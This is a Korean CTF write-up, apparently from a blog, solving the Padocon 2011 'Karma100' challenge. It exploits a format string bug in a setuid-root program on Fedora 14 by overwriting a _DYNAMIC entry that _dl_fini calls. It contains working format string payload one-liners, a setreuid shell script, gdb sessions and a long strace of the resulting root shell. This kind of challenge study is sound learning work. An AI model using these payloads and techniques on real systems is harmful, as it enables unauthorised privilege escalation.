* file |
Summary : format string bug , overwriting _dl_fini
문제서버가 닫혔기 때문에 해커스쿨의 멍멍님께서 대회종료 후 만들어두신 karma 문제 vm서버에서 진행했다.
http://work.hackerschool.org/DOWNLOAD/PadoconCTF/padocon_CTF_2011/
위의 링크에서 다운로드 받을 수 있다.
서버에 접속하여 문제 파일을 확인하면 setuid가 걸린 root의 프로그램을 확인할 수 있다.
(원본서버는 boom100이란 계정에 setuid가 걸려있었다.)
[root@localhost karma100]# ls -l total 12 -rwsr-xr-x. 1 root root 4826 Jan 17 10:00 attackme -rw-r--r--. 1 root root 201 Jan 17 10:00 attackme.c |
source 파일도 제공되어있다.
[karma100@localhost ~]$ cat attackme.c /* hi, guys! */ int main( int argc, char *argv[] ) fgets( buf, 1024, stdin ); printf( buf ); return 0; |
source는 매우 간단하다. 대놓고 format string bug 취약점이 있음을 보여준다.
padocon의 특징상 시스템해킹 문제의 구조는 매우 간단하지만 , 대회문제서버의 환경은 거의 최신버젼에서 진행된다고 한다.
그럼 문제가 어떤서버에 있는지 확인해본다.
[karma100@localhost ~]$ uname -a Linux localhost.localdomain 2.6.35.6-45.fc14.i686 #1 SMP Mon Oct 18 23:56:17 UTC 2010 i686 i686 i386 GNU/Linux |
fedora 14 이다. fedora 14에는 ASLR(Random stack , Random heap , Random Library)이 모두 걸려있지만 , Random Library는 어느정도 시간이 지나면 주소가 거의 바뀌지 않는다는 것이 Fedora의 특징이다.
실제로 padocon이 끝난후 write-up에 Random Library가 걸려있지 않았다는 내용을 쓰신 분들까지 계신다.
Ascii armor로 Library주소에 NULL이 포함되게 되었고 , NX로 인해 스택에서 쉘코드의 실행이 불가능해졌다.
그리고 중요한 것은 fedora의 특정버전부터 .dtors 영역을 덮어주어도 실행되지 않게되었다. (.dtors영역을 참조하긴하지만 임의로 덮어준 주소가 실행되지 않았다.) 무슨 원리인지는 아직 알지못했다.
대놓고 format string bug 문제이지만 printf이후에 더 이상 함수를 호출하지 않기때문에 got overwriting을 이용한 공격도 불가능하고 , Random stack으로 인해 return address영역을 덮어주는 공격도 할 수 없으며 , .dtors 영역을 덮는 공격도 할 수 없는 점 등등 환경으로 인한 제약이 너무 심하다.
하지만 main 함수수행을 마치고 프로그램이 종료되기전에 동작하는 함수중 하나인 _dl_fini에 내에 이용할 수 있는 부분이 있다.
0x0010febe <+462>: mov 0x4(%eax),%eax 0x0010fec1 <+465>: add (%edi),%eax 0x0010fec3 <+467>: call *%eax |
위의 code인데 , 이것을 이용할 수 있는 이유는 _dl_fini+462에서 *(eax + 0x4) 와 %edi는 항상 일정한 값을 가지며 *(eax + 0x4)는 write가 가능한 _DYNAMIC 영역이기 때문에 call *%eax에서 원하는 함수를 실행할 수 있다.
(gdb) b *_dl_fini+462 Breakpoint 2 at 0x10febe (gdb) c Continuing. Breakpoint 2, 0x0010febe in _dl_fini () from /lib/ld-linux.so.2 (gdb) x/x $eax+4 0x80495dc <_DYNAMIC+20>: 0x080484ec (gdb) x/x $edi 0x11f900: 0x00000000 |
마침 %edi도 0이 들어가있기 때문에 , _DYNAMIC+20 영역에 있는 주소를 그대로 call 하게된다.
따라서 _DYNAMIC+20 영역에 실행시킬 함수나 코드의 주소를 넣어주면 프로그램이 종료되며 실행된다.
execve라이브러리 주소를 덮어본다. execve + 3을 호출하게되면 현재 스택주조상 파일명으로 사용할 수 있으면서 고정적인 인자를 실행하기때문에 execve + 3을 이용한다.
(gdb) p execve $1 = {<text variable, no debug info>} 0x1be370 <execve> |
0xe373 = 58227
0x1001b - 0xe373 = 7336
[karma100@localhost .pwn3r]$ (perl -e 'print "\xdc\x95\x04\x08CCCC\xde\x95\x04\x08%8x%8x%58199c%n%7336c%n"';cat)| strace ~/attackme Segmentation fault (core dumped) |
execve함수가 호출되었고 첫 번째인자로 "n\202\4\10\20ii\r"이라는 문자열이 들어갔다.
몇 번을 공격해도 이 문자열은 고정적으로 첫 번째 인자로 들어갔기 때문에 쉘을 실행하는 python script를 작성하고 이 script에 symbolic link를 걸어 쉘을 얻었다.
[karma100@localhost .pwn3r]$ cat pwn.py import os os.setreuid(os.geteuid() , os.geteuid()) ?CCCC? 400 2a8440
|
root 권한의 쉘을 획득하였다.
p.s 문제를 풀던 도중 $ flag를 이용해 위에서 풀이한 방법과 같은 영역에 같은 값을 덮어주어도 /bin/sh가 실행되려는 중에 종료되는 현상이 계속 나타나는데 아직도 해결하지 못했습니다 :-(
혹시 이 현상에 대해 아시는 분은 조언 해주셨으면 좋겠습니다 :)
[karma100@localhost .pwn3r]$ (python -c 'print "\xdc\x95\x04\x08\xde\x95\x04\x08" + "%1$58219c" + "%4$n" + "%1$7336c" + "%5$n"') | strace ~/attackme .....................................중략............................................ execve("n\202\4\10\20ii\r", [], [/* 0 vars */]) = 0 .....................................중략............................................ geteuid32() = 500 geteuid32() = 500 setreuid32(500, 500) = 0 execve("/bin/sh", ["sh"], [/* 0 vars */]) = 0 brk(0) = 0x8cde000 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77b6000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=47068, ...}) = 0 mmap2(NULL, 47068, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb77aa000 close(3) = 0 open("/lib/libtinfo.so.5", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0]6\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=125880, ...}) = 0 mmap2(0x360000, 127796, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x360000 mmap2(0x37d000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1c) = 0x37d000 close(3) = 0 open("/lib/libdl.so.2", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0`\272,\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=19776, ...}) = 0 mmap2(0x2cb000, 16500, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x2cb000 mmap2(0x2ce000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2) = 0x2ce000 close(3) = 0 open("/lib/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220\217\23\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1847224, ...}) = 0 mmap2(0x122000, 1612328, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x122000 mprotect(0x2a5000, 4096, PROT_NONE) = 0 mmap2(0x2a6000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x183) = 0x2a6000 mmap2(0x2a9000, 10792, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x2a9000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77a9000 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77a8000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb77a9b40, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 mprotect(0x2ce000, 4096, PROT_READ) = 0 mprotect(0x2a6000, 8192, PROT_READ) = 0 mprotect(0x11e000, 4096, PROT_READ) = 0 munmap(0xb77aa000, 47068) = 0 rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0 open("/dev/tty", O_RDWR|O_NONBLOCK|O_LARGEFILE) = 3 close(3) = 0 brk(0) = 0x8cde000 brk(0) = 0x8cde000 brk(0x8cff000) = 0x8cff000 brk(0) = 0x8cff000 getuid32() = 500 getgid32() = 500 geteuid32() = 500 getegid32() = 500 rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0 time(NULL) = 1310901683 ioctl(0, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbfb72d28) = -1 EINVAL (Invalid argument) open("/proc/meminfo", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77b5000 read(3, "MemTotal: 1026004 kB\nMemF"..., 1024) = 1024 close(3) = 0 munmap(0xb77b5000, 4096) = 0 rt_sigaction(SIGCHLD, {SIG_DFL, [], 0}, {SIG_DFL, [], 0}, 8) = 0 rt_sigaction(SIGCHLD, {SIG_DFL, [], 0}, {SIG_DFL, [], 0}, 8) = 0 rt_sigaction(SIGINT, {SIG_DFL, [], 0}, {SIG_DFL, [], 0}, 8) = 0 rt_sigaction(SIGINT, {SIG_DFL, [], 0}, {SIG_DFL, [], 0}, 8) = 0 rt_sigaction(SIGQUIT, {SIG_DFL, [], 0}, {SIG_DFL, [], 0}, 8) = 0 rt_sigaction(SIGQUIT, {SIG_DFL, [], 0}, {SIG_DFL, [], 0}, 8) = 0 rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0 rt_sigaction(SIGQUIT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0 uname({sys="Linux", node="localhost.localdomain", ...}) = 0 getcwd("/tmp/.pwn3r", 4096) = 12 getpid() = 8810 getppid() = 8809 stat64(".", {st_mode=S_IFDIR|0775, st_size=4096, ...}) = 0 stat64("/usr/local/bin/sh", 0xbfb72ab0) = -1 ENOENT (No such file or directory) stat64("/bin/sh", {st_mode=S_IFREG|0755, st_size=877480, ...}) = 0 stat64("/bin/sh", {st_mode=S_IFREG|0755, st_size=877480, ...}) = 0 geteuid32() = 500 getegid32() = 500 getuid32() = 500 getgid32() = 500 access("/bin/sh", X_OK) = 0 stat64("/bin/sh", {st_mode=S_IFREG|0755, st_size=877480, ...}) = 0 geteuid32() = 500 getegid32() = 500 getuid32() = 500 getgid32() = 500 access("/bin/sh", R_OK) = 0 stat64("/bin/sh", {st_mode=S_IFREG|0755, st_size=877480, ...}) = 0 stat64("/bin/sh", {st_mode=S_IFREG|0755, st_size=877480, ...}) = 0 geteuid32() = 500 getegid32() = 500 getuid32() = 500 getgid32() = 500 access("/bin/sh", X_OK) = 0 stat64("/bin/sh", {st_mode=S_IFREG|0755, st_size=877480, ...}) = 0 geteuid32() = 500 getegid32() = 500 getuid32() = 500 getgid32() = 500 access("/bin/sh", R_OK) = 0 socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 3 connect(3, {sa_family=AF_FILE, path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory) close(3) = 0 socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 3 connect(3, {sa_family=AF_FILE, path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory) close(3) = 0 open("/etc/nsswitch.conf", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=1720, ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77b5000 read(3, "#\n# /etc/nsswitch.conf\n#\n# An ex"..., 4096) = 1720 read(3, "", 4096) = 0 close(3) = 0 munmap(0xb77b5000, 4096) = 0 open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=47068, ...}) = 0 mmap2(NULL, 47068, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb77aa000 close(3) = 0 open("/lib/libnss_files.so.2", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20\32\0\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=54380, ...}) = 0 mmap2(NULL, 49856, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x4f7000 mmap2(0x502000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0xa) = 0x502000 close(3) = 0 mprotect(0x502000, 4096, PROT_READ) = 0 munmap(0xb77aa000, 47068) = 0 open("/etc/passwd", O_RDONLY|O_CLOEXEC) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=1908, ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77b5000 read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1908 close(3) = 0 munmap(0xb77b5000, 4096) = 0 gettimeofday({1310901683, 94764}, NULL) = 0 getpgrp() = 8808 rt_sigaction(SIGCHLD, {0x80835f0, [], 0}, {SIG_DFL, [], 0}, 8) = 0 getrlimit(RLIMIT_NPROC, {rlim_cur=1024, rlim_max=7915}) = 0 rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0 fcntl64(0, F_GETFL) = 0 (flags O_RDONLY) fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0 _llseek(0, 0, 0xbfb72cc0, SEEK_CUR) = -1 ESPIPE (Illegal seek) rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0 read(0, "", 1) = 0 exit_group(0) |
'CTF' 카테고리의 다른 글
ISEC 2011 본선 CTF - board (0) | 2011.09.21 |
---|---|
ISEC 2010 본선 CTF - hks (0) | 2011.09.17 |
Defcon 19th CTF 2011 Quals - Potent Pwnables 100 (0) | 2011.09.11 |
2010 순천향대 정보보호 페스티벌 level9 (0) | 2011.09.11 |
Padocon 2011 Quals - Karma200 (0) | 2011.07.17 |